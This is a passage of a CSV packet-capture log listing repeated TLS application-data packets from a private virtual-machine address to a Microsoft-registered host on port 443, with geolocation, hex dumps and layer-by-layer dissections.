\"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46852, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59581, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94;U\\\\xf8\\\\'#\\\\xb3\\\\xd3\\\\xfe\\\\x80\\\\\\\\\\\\xa906\\\\x06\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd4\\\\x1d\\\\x07\\\\xb1\\\\xeb\\\\xc05\\\\\\\\\\\\xee\\\\x91u\\\\xee\\\\x85BVc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:28.749115,9,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70540008006e951c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Q..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46853, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59729, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:29.452254,10,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7060000800628bcc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695943b55f82723b3d3fe805ca9303606fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd341d07b1ebc0355cee9175ee85425663,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46854, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10428, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94;U\\\\xf8\\\\'#\\\\xb3\\\\xd3\\\\xfe\\\\x80\\\\\\\\\\\\xa906\\\\x06\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd4\\\\x1d\\\\x07\\\\xb1\\\\xeb\\\\xc05\\\\\\\\\\\\xee\\\\x91u\\\\xee\\\\x85BVc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:30.664584,11,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7070000800628bbc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695943b55f82723b3d3fe805ca9303606fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd341d07b1ebc0355cee9175ee85425663,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46855, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10427, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94;U\\\\xf8\\\\'#\\\\xb3\\\\xd3\\\\xfe\\\\x80\\\\\\\\\\\\xa906\\\\x06\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd4\\\\x1d\\\\x07\\\\xb1\\\\xeb\\\\xc05\\\\\\\\\\\\xee\\\\x91u\\\\xee\\\\x85BVc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:31.149062,12,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70840008006e94ec0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....N..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46856, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59726, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:31.868775,13,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70940008006e8b8c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695943b55f82723b3d3fe805ca9303606fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd341d07b1ebc0355cee9175ee85425663,\"RT.W..RT.{....E.. .\t@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46857, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59576, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94;U\\\\xf8\\\\'#\\\\xb3\\\\xd3\\\\xfe\\\\x80\\\\\\\\\\\\xa906\\\\x06\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd4\\\\x1d\\\\x07\\\\xb1\\\\xeb\\\\xc05\\\\\\\\\\\\xee\\\\x91u\\\\xee\\\\x85BVc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:34.276230,14,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70a40008006e8b7c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695943b55f82723b3d3fe805ca9303606fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd341d07b1ebc0355cee9175ee85425663,\"RT.W..RT.{....E.. .\n@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46858, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59575, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W 